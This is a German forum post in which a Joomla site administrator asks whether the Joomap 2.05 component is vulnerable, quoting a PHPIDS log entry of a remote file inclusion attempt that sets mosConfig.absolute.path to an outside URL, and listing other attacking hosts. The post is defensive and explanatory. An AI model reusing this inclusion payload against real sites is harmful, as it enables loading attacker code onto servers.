Thema: Joomap 2.05 unsicher?

Hallo,

wir erhalten in letzter Zeit vermehrt Attacks über Indonesische und Koreanische Seiten mit folgendem Inhalt die uns PHPIDS meldet.

GET.Itemid=111%2F%2Flibs%2FBlowfish%2FCBC.php%3Fmo sConfig.absolute.path%3Dhttp%3A%2F%2Fsmkn-13bdg.sch.id%2Fid1.txt%3F,
Request URI: %2Findex.php%3Foption%3Dcom_joomap%26Itemid%3D111% 2F%2Flibs%2FBlowfish%2FCBC.php%3FmosConfig.absolut e.path%3Dhttp%3A%2F%2Fsmkn-13bdg.sch.id%2Fid1.txt%3F

weitere Sites sind:
greenisac.co.kr
www.hubns.co.kr

diese URL-Manipulation wird ja in eine 404 umgeleitet.
nach prüfung der DB und der Sitefiles wurden keine veränderungen vorgenommen.
Aber alle Attacken versuchen über die Joomap Komponente einzudringen.
Gibt es aktuell eine Sicherheitslücke in dieser Komponente und hat jemand anderes ähnliche Angriffe (falls man diese so bezeichnen kann) verzeichnet???

Vielen Dank im vorraus

Vielen Dank,

natürlich ist die .htaccess aktiviert und sollte ein URL-Aufruf mit mosConfig etc. starten wird dieser natürlich abgefangen.
Bin zwar relativerNeuling auf dem Gebiet aber hätte ja sein können das es bekannte Lücken gibt die Schadcode etc. einschleusen.

Gruß